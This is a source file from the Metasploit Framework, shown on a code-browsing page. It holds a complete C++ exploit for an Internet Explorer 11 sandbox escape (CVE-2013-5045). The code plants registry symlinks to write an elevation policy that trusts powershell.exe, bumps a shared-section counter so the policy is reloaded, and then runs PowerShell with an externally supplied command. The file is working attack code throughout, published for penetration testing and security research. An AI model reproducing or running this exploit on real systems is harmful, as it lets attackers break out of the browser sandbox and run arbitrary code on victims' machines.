rapid7/metasploit-framework

View on GitHub
external/source/exploits/IE11SandboxEscapes/CVE-2013-5045/CVE-2013-5045.cpp

Summary

Maintainability
Test Coverage
// This file is part of IE11SandboxEsacapes.

// IE11SandboxEscapes is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.

// IE11SandboxEscapes is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.

// You should have received a copy of the GNU General Public License
// along with IE11SandboxEscapes.  If not, see <http://www.gnu.org/licenses/>.

#include "stdafx.h"
#include <winternl.h>
#include <IEPMapi.h>

#define MAX_ENV 32767

#pragma comment(lib, "Iepmapi.lib")

typedef NTSTATUS (__stdcall *fNtOpenSection)(
    _Out_  PHANDLE SectionHandle,
    _In_   ACCESS_MASK DesiredAccess,
    _In_   POBJECT_ATTRIBUTES ObjectAttributes
    );

HANDLE MyCreateProcess(bstr_t exec, bstr_t cmdline)
{
    STARTUPINFO startInfo = { 0 };
    PROCESS_INFORMATION procInfo = { 0 };    

    if (!CreateProcess(exec, cmdline, NULL, NULL, FALSE, 0, NULL, NULL,
        &startInfo, &procInfo))
    {
        DebugPrintf("Error Creating Process: %d", GetLastError());

        return nullptr;
    }
    else
    {
        CloseHandle(procInfo.hThread);

        return procInfo.hProcess;
    }
}

bstr_t GetExploitUrl(LPWSTR env)
{
    WCHAR buf[MAX_ENV];

    GetEnvironmentVariable(env, buf, MAX_ENV);

    return buf;
}

void CreateIEProcess()
{
    HANDLE hProcess = MyCreateProcess(GetExecutableFileName(nullptr), L"iexplore.exe " + GetExploitUrl(L"HTML_URL"));

    if (hProcess)
    {
        WaitForSingleObject(hProcess, 1000);
        CloseHandle(hProcess);
    }
}

void CreateUserKey(LPCWSTR path)
{
    STARTUPINFO startInfo = { 0 };
    PROCESS_INFORMATION procInfo = { 0 };
    bstr_t sid = GetUserSid();

    bstr_t linkName = L"\\Registry\\User\\" + sid + L"\\Software\\Microsoft\\Internet Explorer\\LowRegistry\\DontShowMeThisDialogAgain";

    LONG res = RegDeleteKey(HKEY_CURRENT_USER, L"Software\\Microsoft\\Internet Explorer\\LowRegistry\\DontShowMeThisDialogAgain");

    DebugPrintf("Delete: %d", res);

    bstr_t destName = L"\\Registry\\User\\" + sid + path;

    CreateLink(linkName, destName, 0);

    CreateIEProcess();

    DeleteLink(linkName);
}

void DoRegistrySymlink()
{
    STARTUPINFO startInfo = { 0 };
    PROCESS_INFORMATION procInfo = { 0 };
    HKEY hKey = nullptr;    
    HANDLE hSection = nullptr;
    bstr_t sid = GetUserSid();
    bool success = false;    

    try
    {
        CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights");
        CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy");
        CreateUserKey(L"\\Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy\\{C2B9F6A6-6E3C-4954-8A73-69038A049D00}");

        LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, L"Software\\Microsoft\\Internet Explorer\\Low Rights\\ElevationPolicy\\{C2B9F6A6-6E3C-4954-8A73-69038A049D00}",
            0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &hKey);

        if (res != 0)
        {
            DebugPrintf("Open Class Key Failed %d", res);
            throw 0;
        }

        CreateRegistryValueString(hKey, L"AppName", L"powershell.exe");
        CreateRegistryValueString(hKey, L"AppPath", GetWindowsSystemDirectory() + L"\\WindowsPowerShell\\v1.0");
        CreateRegistryValueDword(hKey, L"Policy", 3);

        bstr_t name = GetSessionPath() + L"\\BaseNamedObjects\\LRIEElevationPolicy_";

        UNICODE_STRING objName = { 0 };
        objName.Buffer = name;
        objName.Length = SysStringByteLen(name);
        objName.MaximumLength = SysStringByteLen(name);

        OBJECT_ATTRIBUTES objAttr = { 0 };

        InitializeObjectAttributes(&objAttr, &objName, OBJ_CASE_INSENSITIVE, 0, 0);

        fNtOpenSection pfNtOpenSection = (fNtOpenSection)GetProcAddress(GetModuleHandle(L"ntdll"), "NtOpenSection");
    
        NTSTATUS status = pfNtOpenSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, &objAttr);

        if (status != 0)
        {
            DebugPrintf("Error opening section: %08X\n", status);
            throw 0;
        }

        unsigned int* p = (unsigned int*)MapViewOfFile(hSection, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, sizeof(unsigned int));

        if (p == nullptr)
        {
            DebugPrintf("Error mapping section %d\n", GetLastError());
            throw 0;
        }

        DebugPrintf("Current Counter: %d\n", *p);

        // Increment
        *p = *p + 1;

        DebugPrintf("New Counter: %d\n", *p);

        UnmapViewOfFile(p);
        CloseHandle(hSection);
        hSection = nullptr;

        MyCreateProcess(GetWindowsSystemDirectory() + L"\\WindowsPowerShell\\v1.0\\powershell.exe", L"powershell.exe " + GetExploitUrl(L"PSH_CMD"));
    }
    catch (...)
    {
    }

    if (hSection)
    {
        CloseHandle(hSection);
    }
    
    if (hKey)
    {
        RegCloseKey(hKey);
    }

}

DWORD CALLBACK ExploitThread(LPVOID hModule)
{
    CoInitialize(nullptr);    
    DoRegistrySymlink();
    CoUninitialize();

    FreeLibraryAndExitThread((HMODULE)hModule, 0);
}